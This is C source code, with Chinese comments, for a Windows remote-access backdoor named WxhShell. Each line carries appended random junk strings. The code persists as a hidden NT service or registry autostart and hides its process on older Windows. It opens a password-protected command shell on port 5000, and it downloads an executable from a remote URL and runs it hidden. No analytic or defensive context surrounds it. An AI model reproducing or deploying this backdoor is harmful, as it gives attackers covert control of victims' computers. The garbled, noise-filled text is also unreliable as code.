DWORD PebBaseAddress; }!"A! ~&
DWORD AffinityMask; P&9Gga^I
DWORD BasePriority; v 1z
ULONG UniqueProcessId; M)'HCnvs'
ULONG InheritedFromUniqueProcessId; )6,de2Pb
} PROCESS_BASIC_INFORMATION; yj;sSRT
kzn5M&f>
PROCNTQSIP NtQueryInformationProcess; Vr6@>@SC
U3T#6Rptl
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cC=[Saatsf
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3 Nreqq
42e|LUZg
HANDLE hProcess; WG6FQAo^8
PROCESS_BASIC_INFORMATION pbi; W-x?:X<}
\
e\?I9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {QcLu"?c
if(NULL == hInst ) return 0; gVq;m>\|F
4L ;% h
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WHsgjvh"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tBq
nfv
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pm*xb]8y
#MX'^RZ>2
if (!NtQueryInformationProcess) return 0; =|M>l
,Sq/y~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1rv)&tKs
if(!hProcess) return 0; ])|d"[ur=
//T>G_1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )PG6gZYW
T]t+E'sQ
CloseHandle(hProcess); A )^`?m3
[5zx17'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T&%ux=Jt
if(hProcess==NULL) return 0; Kqp(%8mf
&Sl[lXE
HMODULE hMod; y4t7`-,~
char procName[255]; |X0Y-
unsigned long cbNeeded; SSz~YR^}Sr
yaah*1ip[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9K5pwC\$%
),U X4%K=
CloseHandle(hProcess); Gb8D[1=u=
,4zmb`dP<
if(strstr(procName,"services")) return 1; // 以服务启动 c_-drS
WFO4gB*
return 0; // 注册表启动 }4Tc
} YVYu:}e3)
Xf02"PXC
// 主模块 ofPHmh`
int StartWxhshell(LPSTR lpCmdLine) UUzYbuS>&l
{ i=i(%yQ%
SOCKET wsl; v@Gl|29_
BOOL val=TRUE; J)`-+}7$v
int port=0; f|h|q_<;
struct sockaddr_in door; :n0vQ5a
h\5OrD@L
if(wscfg.ws_autoins) Install(); k5D%y3|9
(@%gS[]
port=atoi(lpCmdLine); (d(hR0HKE
AvdXEY(-
if(port<=0) port=wscfg.ws_port; 7![,Q~Fy
M,/mE~
WSADATA data; 3&u&x(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \@8+U;d
z.GMqW%B
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; K8>zF/# +
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BybW)+~
door.sin_family = AF_INET; 85n1eE
door.sin_addr.s_addr = inet_addr("127.0.0.1"); D}dn.$
door.sin_port = htons(port);
tNGp\~
|?qquD 4=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }._eIx"
closesocket(wsl); A6:es_
return 1; 3pv4B:0
} DE%KW:Hug
~-EOjX(X'E
if(listen(wsl,2) == INVALID_SOCKET) { K[ (NTp$E
closesocket(wsl); 9cf:pXMi
return 1; @!`Xl*l
} }dp=?AFg
Wxhshell(wsl); .WPV dwV4U
WSACleanup(); =R #Qx,
M[6:p2u
return 0; {$R' WXVs
x$1]M DAGb
} fb{``,nO
RLbKD>
// 以NT服务方式启动 Q$HG
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &;D8]7d
{ I_<I&{N>
DWORD status = 0; >sWp?
DWORD specificError = 0xfffffff; x7~r,x(xM
rW+ =,L
serviceStatus.dwServiceType = SERVICE_WIN32; H-~6Z",1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; QA<Jr5Ys
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XmEq2v
serviceStatus.dwWin32ExitCode = 0; i%/Jp[e\W>
serviceStatus.dwServiceSpecificExitCode = 0; LG<J;&41~S
serviceStatus.dwCheckPoint = 0; J@4 Bf
serviceStatus.dwWaitHint = 0; ^c&L,!_)H
Wn(6,MDUN
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kO|L bQ@=q
if (hServiceStatusHandle==0) return; oW<5|FaN
9\/xOwR
status = GetLastError(); f7=((5N
if (status!=NO_ERROR) {5F-5YL+>
{ ^
q<v{_
serviceStatus.dwCurrentState = SERVICE_STOPPED; :a$\/E =
serviceStatus.dwCheckPoint = 0; ~nrK>%
serviceStatus.dwWaitHint = 0; 0URji~?|x
serviceStatus.dwWin32ExitCode = status; c&AygqN
serviceStatus.dwServiceSpecificExitCode = specificError; BsEF'h'Owh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hS)'a^FV
return; huJ&]"C
} *QLI3B9V
b*`lk2oMa/
serviceStatus.dwCurrentState = SERVICE_RUNNING; ZaL.!g
serviceStatus.dwCheckPoint = 0; 7cTV?nc
serviceStatus.dwWaitHint = 0; w)Q0_2p.
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ed_N[I
} hnDBFQ{
[/Rf\T(,jn
// 处理NT服务事件,比如:启动、停止 -F<Wd/Xse
VOID WINAPI NTServiceHandler(DWORD fdwControl) ](&{:>RNJ
{ NdzSz]q}
switch(fdwControl) ;`^WGS(3.%
{ ;~D)~=|ZZ
case SERVICE_CONTROL_STOP: ly:q6i
serviceStatus.dwWin32ExitCode = 0; ^R# E:3e
serviceStatus.dwCurrentState = SERVICE_STOPPED; I~ok4L?VB
serviceStatus.dwCheckPoint = 0; 3+ @<lVew6
serviceStatus.dwWaitHint = 0; tD+9kf2
{ UazP6^{L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ApAO/q
} :E:38q,hG
return; (H
->IV
case SERVICE_CONTROL_PAUSE: C!fMW+C@
serviceStatus.dwCurrentState = SERVICE_PAUSED; BFo5\l:q8
break; LUqB&,a}
case SERVICE_CONTROL_CONTINUE: `QyO`y=?[Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; T3k#VNH
break; ZuS0DPS`L
case SERVICE_CONTROL_INTERROGATE: #6+@M
break; b/C`Jp
}; ><gG8MH0'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pKit~A,Q
} YgUvOyaQXf
5u*-L_
// 标准应用程序主函数 'H
\9:7
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4:r!|PJn{G
{ HbXPok
|Z=^`J
// 获取操作系统版本 .
r[Hu40p
OsIsNt=GetOsVer(); +f@U6Vv
GetModuleFileName(NULL,ExeFile,MAX_PATH); rEv$+pP
*a #rM"6P
// 从命令行安装 {TX]\ufG
if(strpbrk(lpCmdLine,"iI")) Install(); z7Q?D^miy
NhaI<J
// 下载执行文件 NiU2@zgl
if(wscfg.ws_downexe) { (Q.waI
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T>R0T{A
WinExec(wscfg.ws_filenam,SW_HIDE); 1T-8K
r
} M#As0~y
wPwXM!
if(!OsIsNt) { *=+td)S/1
// 如果时win9x,隐藏进程并且设置为注册表启动 *# tJM.Z
HideProc(); ;|vpwB@B
StartWxhshell(lpCmdLine); <N_+=_
} IE9XU9Kd
else W9D86]3Y
if(StartFromService()) j(RWO
// 以服务方式启动 j^^Ap
StartServiceCtrlDispatcher(DispatchTable); DDPxmuNG
else 1:f9J
// 普通方式启动 Z|5?7v;h5
StartWxhshell(lpCmdLine); }M3fmAP}
Z;:u'=
return 0; v"OY 1<8
} u%$Zqee
1oN^HG6O
ENGg
~D
;9#Z@]p
=========================================== dt`{!lts'
V&Xe!S
-3;*K4z$/
n#wI@W>%+
.zn;:M#T
Db;G@#x
" YRh BRE
;)!Sp:mHX
#include <stdio.h> ]8f ms(
#include <string.h> +(C6#R<LI
#include <windows.h> B,TB3
{
#include <winsock2.h> WXmn1^"kK}
#include <winsvc.h> vfq%H(
#include <urlmon.h> ds?v'|
lJE93rXU
#pragma comment (lib, "Ws2_32.lib") 59O?_F9
#pragma comment (lib, "urlmon.lib") WIv?}gi:
X
\ aHVs
#define MAX_USER 100 // 最大客户端连接数 U2ZD]q
#define BUF_SOCK 200 // sock buffer
\9/ b!A
#define KEY_BUFF 255 // 输入 buffer Lz:(6`S
{ Fawt:
#define REBOOT 0 // 重启 ,)iKH]lY=
#define SHUTDOWN 1 // 关机 IGtl\b=
.h>8@5/s
#define DEF_PORT 5000 // 监听端口 IuNiEtKx
r9
!Tug*>m
#define REG_LEN 16 // 注册表键长度 +TQ47Zc
#define SVC_LEN 80 // NT服务名长度 hA33K #bC
*g[^.Sg
// 从dll定义API OU/MiyP2
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >]W)'lnO
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); > 3&: 5
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o9F/y=.r=
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m"o ;L3
q~*t@
// wxhshell配置信息 V}SBuQp"
struct WSCFG { -eN\ !
int ws_port; // 监听端口 uwjGDw
char ws_passstr[REG_LEN]; // 口令 `kU/NKq
int ws_autoins; // 安装标记, 1=yes 0=no \U[{z&]~
char ws_regname[REG_LEN]; // 注册表键名 =9"W@n[>W
char ws_svcname[REG_LEN]; // 服务名 T)Y=zIQ1]7
char ws_svcdisp[SVC_LEN]; // 服务显示名 j&
<i&
char ws_svcdesc[SVC_LEN]; // 服务描述信息 lhw()u
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -mRA#
int ws_downexe; // 下载执行标记, 1=yes 0=no w\DVzeW(
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SL;9Q[
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~d6DD;`K
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}; 3Ei5pX =g
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// default Wxhshell configuration Ygl%eP%Z
struct WSCFG wscfg={DEF_PORT, }C#;fp"L
"xuhuanlingzhe", opJMS6%r
1, x
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"Wxhshell", QC X8IIHG
"Wxhshell", cdG|m[
"WxhShell Service", kjtjw1\o
"Wrsky Windows CmdShell Service", 9M1d%jT
"Please Input Your Password: ", "sl1vzRN
1, 7g(F#T?;'
"http://www.wrsky.com/wxhshell.exe", o4zM)\;F
"Wxhshell.exe" H)>;/#!r-
}; sH?/E6
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// 消息定义模块 y!!E\b=
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E
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